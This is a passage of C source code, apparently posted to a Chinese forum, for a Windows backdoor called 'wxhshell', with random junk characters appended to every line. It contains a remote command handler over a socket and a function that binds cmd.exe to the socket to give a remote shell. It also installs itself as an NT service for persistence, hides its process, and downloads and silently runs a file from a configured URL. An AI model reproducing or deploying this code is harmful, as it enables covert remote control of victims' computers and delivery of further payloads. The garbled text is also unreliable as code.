    switch(cmd[0]) { gEkH5|*Y  
  N:&EFfg3  
  // 帮助 >\ x!a:}  
  case '?': { a0 8Wt  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); \jHIjFwQ  
    break; w ;xbQZ|+  
  } bTW# f$q:4  
  // 安装 RKO}  W#?  
  case 'i': { _REAzxe S  
    if(Install()) q?bKh*48  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); tIL ]JB  
    else }MW+K&sIh  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); xw~3x*{  
    break; D> EN:_v  
    } P8n |MN  
  // 卸载 ,]_<8@R  
  case 'r': { p\ _&  
    if(Uninstall()) T!Z).PA#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); o'Kl+gw4  
    else 0c$ ')`! m  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #Mrc!pT]xy  
    break; W?R@ eq.9  
    } :L5k#E "u  
  // 显示 wxhshell 所在路径 i{4J$KT  
  case 'p': { 2su/I  
    char svExeFile[MAX_PATH]; 1Y(NxC0P=g  
    strcpy(svExeFile,"\n\r"); 4)NbQ[  
      strcat(svExeFile,ExeFile); {&0u:  
        send(wsh,svExeFile,strlen(svExeFile),0); S)=3%toS>  
    break; VrnZrQj<  
    } ]lZ g }7h  
  // 重启 l3HfaCP6:  
  case 'b': { '0 J*9  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); "-:-!1;Ji  
    if(Boot(REBOOT)) fO t?2Bh  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !6*m<#Qm  
    else { W>y &  
    closesocket(wsh); }5]7lGR  
    ExitThread(0); 9oTtH7%  
    } /#g P#Z%  
    break; B*AB@  
    } o3(:R0  
  // 关机 JXF0}T)C  
  case 'd': { Tga%-xr+  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); %ZM"c  
    if(Boot(SHUTDOWN)) 1}ws@hU  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -xL^UcG0  
    else { >Q[3t79^  
    closesocket(wsh); ^:Fj+d  
    ExitThread(0); F-%Hw  
    } f:KZP;/[c  
    break; \t?rHB3"  
    } h8hyQd$!  
  // 获取shell *1g3,NMA  
  case 's': { xzz0uk5  
    CmdShell(wsh); XS=f>e1<W  
    closesocket(wsh); }0AoV&75  
    ExitThread(0); @|EWif|  
    break; DAf0bh"  
  } jhH&}d9  
  // 退出 ) m(!lDz3  
  case 'x': { Wg\MaZ6Di  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); A\ r}V-  
    CloseIt(wsh); j] J-#J  
    break; m"GgaH3,  
    } 2"IDz01ne  
  // 离开 \Sv8c}8  
  case 'q': { @Io@1[kj  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); '9@AhiNV  
    closesocket(wsh); #T++5G  
    WSACleanup(); e5#?@}?  
    exit(1); l- $5CO  
    break; U<I]_]  
        } t 09-y  
  } ?.^n,[2  
  } i'p6#  
z>z9xG'  
  // 提示信息 :pvB}RYD  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); =d#(n M*  
} TGHyBPJb  
  } (Rh$0^)A  
2hsRYh  
  return; !3`X Gg  
} W#kd[Wi  
@]7s`?  
// shell模块句柄 $g_|U:,  
int CmdShell(SOCKET sock) 5O[\gd-  
{ *R3^:Y&  
STARTUPINFO si; <b-OdOg  
ZeroMemory(&si,sizeof(si)); |cgc^S/~H  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; {$Z S 2 7  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Tly*i"[&  
PROCESS_INFORMATION ProcessInfo; SvQ!n4 $  
char cmdline[]="cmd"; *yYeqm  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 8(g}/%1mt3  
  return 0; p# JPLCs  
} ';xp+,'}\  
#=N6[:,  
// 自身启动模式 @6b4YV h  
int StartFromService(void) uc aa;zj  
{ >~jl0!2z@  
typedef struct lJdrrR)wg  
{ ai"N;1/1O|  
  DWORD ExitStatus; BAojP1}+,  
  DWORD PebBaseAddress; ;:/C.%d  
  DWORD AffinityMask; zMh`Uqid  
  DWORD BasePriority; Rk#p zD  
  ULONG UniqueProcessId; jHk.]4&0  
  ULONG InheritedFromUniqueProcessId; sKC(xO@L;`  
}   PROCESS_BASIC_INFORMATION; )M* Sg?L  
+ cZC$lo  
PROCNTQSIP NtQueryInformationProcess; kgd dq  
$}B&u)  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 7()5\ae@q'  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; C5Mpm)-%  
gts09{"}Y  
  HANDLE             hProcess; hISYtNWjd"  
  PROCESS_BASIC_INFORMATION pbi; +2>, -V  
.EZ8yJj1Q  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ssAGWP  
  if(NULL == hInst ) return 0; /9o6R:B  
gfiFRwC`v  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); w|f@sB>j  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ^%O$7*  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); <Ok7 -:OxA  
}U?:al/m  
  if (!NtQueryInformationProcess) return 0; o1thGttVDg  
[9yd29pQ]  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ]e$n;tuW  
  if(!hProcess) return 0; Z%JAX>v&B  
x>+sqFd\  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 2M)E1q|a  
f9t+x+ Z  
  CloseHandle(hProcess); I#;.; %u  
3gYtu-1  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); <?h(Dchq  
if(hProcess==NULL) return 0; 1n[wk'}qf4  
a:s$[+'Y  
HMODULE hMod; {4*5Z[  
char procName[255]; ' pIC~  
unsigned long cbNeeded; {LT2^gy=  
f8-~&N/_R  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ,6ae='=d  
Fb ~h{  
  CloseHandle(hProcess); qe/5'dw  
u q A!#E  
if(strstr(procName,"services")) return 1; // 以服务启动 P!gY&>EU  
|@VhR(^O$  
  return 0; // 注册表启动 $."F z x  
} #<G:&  
`5n^DP*X  
// 主模块 SeuDJxqopD  
int StartWxhshell(LPSTR lpCmdLine) !&5|:96o  
{ 58R.`5B  
  SOCKET wsl; m~4ik1 wq  
BOOL val=TRUE; 8( Q  
  int port=0; `Om W#\  
  struct sockaddr_in door; u Yc}eMb  
O&sUPv  
  if(wscfg.ws_autoins) Install(); ^!$=(jh.  
k"E|E";B  
port=atoi(lpCmdLine); yv: Op\;R  
&3SmTg %  
if(port<=0) port=wscfg.ws_port; H9Vn(A8&`  
T8^l}Y B  
  WSADATA data; I8|"h8\  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; }GHC u  
k%iwt]i%  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   "whs?^/  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); fcy4?SQ.<i  
  door.sin_family = AF_INET; /N,\st  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); , eSpt#M  
  door.sin_port = htons(port); 7jGfQ  
0}po74x*r  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { v^ v \6uEP  
closesocket(wsl); ]W5p\(1g  
return 1; qpzyl~g:C  
} dF5y' R'  
|io)?`pj  
  if(listen(wsl,2) == INVALID_SOCKET) { - Rx;"J.H  
closesocket(wsl); ^}`24~|y  
return 1; :ciD!Ly  
} -Ir>pY\!  
  Wxhshell(wsl); uo ;m  
  WSACleanup(); E33WT{H&_'  
uo(LZUjPbN  
return 0; 6$l?D^{  
24wr=5p]Q  
} QZ[S, c^  
KOoV'YSC[(  
// 以NT服务方式启动 8idIJm%y  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) @LSX@V   
{ CWJN{  
DWORD   status = 0; f{u S  
  DWORD   specificError = 0xfffffff; ;f=.SJF  
GL,[32~C  
  serviceStatus.dwServiceType     = SERVICE_WIN32; e [6F }."c  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ^z~drcR  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 1 |/ |Lq%w  
  serviceStatus.dwWin32ExitCode     = 0; tY:,9eh7B  
  serviceStatus.dwServiceSpecificExitCode = 0; _xBhMu2f  
  serviceStatus.dwCheckPoint       = 0; Aj(y]p8  
  serviceStatus.dwWaitHint       = 0; LBmXy8'T`  
fPstS ez   
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); F!w|5,)  
  if (hServiceStatusHandle==0) return; KTwP.!<v  
GkI{7GD:z  
status = GetLastError(); s3'kzwX  
  if (status!=NO_ERROR) Fc=6 *.hy  
{ 7]~|dc(  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; <9T,J"y  
    serviceStatus.dwCheckPoint       = 0; b `bg`}x  
    serviceStatus.dwWaitHint       = 0; +;=>&XR0m  
    serviceStatus.dwWin32ExitCode     = status; keStK8  
    serviceStatus.dwServiceSpecificExitCode = specificError; f1?%p)C  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8VuLL<\|  
    return; -B(p8YH  
  } 1QnaZhu'  
w,_LC)9  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; O[z6W.  
  serviceStatus.dwCheckPoint       = 0; <GLoTolZ  
  serviceStatus.dwWaitHint       = 0; BuUM~k&SY  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); T0.sL9  
} e E(+  
0QxBC7` qp  
// 处理NT服务事件,比如:启动、停止 &}K%F)S  
VOID WINAPI NTServiceHandler(DWORD fdwControl) if3z Fh  
{ }J2f$l>R  
switch(fdwControl) q(4Ny<=,'K  
{ .u`A4;;Gw  
case SERVICE_CONTROL_STOP: {xOzxLB;  
  serviceStatus.dwWin32ExitCode = 0; }SyK)W5Y  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; THB[(3q  
  serviceStatus.dwCheckPoint   = 0; zU!d(ge.E  
  serviceStatus.dwWaitHint     = 0; 7!)VO D8Z  
  { PYzTKjw  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); cr?ZXu_  
  } k_?~@G[I  
  return; `tcX[(`  
case SERVICE_CONTROL_PAUSE: ]24]id  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; B\% Gp}  
  break; G*~CB\K_  
case SERVICE_CONTROL_CONTINUE: Xq"Es  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 9l:[jsk<d  
  break; BB ::zBg  
case SERVICE_CONTROL_INTERROGATE: ZwiXeD+4  
  break; <*P)"G  
}; }o\} qu*  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6Q{OM:L/;.  
} mS49l  
!D V0u)k(  
// 标准应用程序主函数 N P5K1:  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) {xTh!ih2 -  
{ wF59g38[z$  
" RIt  
// 获取操作系统版本 !lA~;F  
OsIsNt=GetOsVer(); *y$CDv  
GetModuleFileName(NULL,ExeFile,MAX_PATH); B]mMwqM#  
3C'6i  
  // 从命令行安装 $vn)(zn+  
  if(strpbrk(lpCmdLine,"iI")) Install(); Bgp%hK  
fZ^ad1o  
  // 下载执行文件 ~y whl'"k  
if(wscfg.ws_downexe) { ] ;HCt=I~  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) J4 U]_|  
  WinExec(wscfg.ws_filenam,SW_HIDE); Hw6 2'%  
} H6Gs&yk3  
h##U=`x3  
if(!OsIsNt) { n</Rd=  
// 如果时win9x,隐藏进程并且设置为注册表启动 =}Q|#C  
HideProc(); D 5:'2i  
StartWxhshell(lpCmdLine); Fq%NY8KNE  
} +8"P*z,  
else bQPO'S4  
  if(StartFromService()) 6$zd2N?  
  // 以服务方式启动 -3 "<znv  
  StartServiceCtrlDispatcher(DispatchTable); ^g"p}zf L"  
else Vi0D>4{+  
  // 普通方式启动 QjYw^[o  
  StartWxhshell(lpCmdLine); v yt|x5  
< 'BsQHI  
return 0; .CNwuN\  
}
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只看该作者 1 发表于: 2006-10-10
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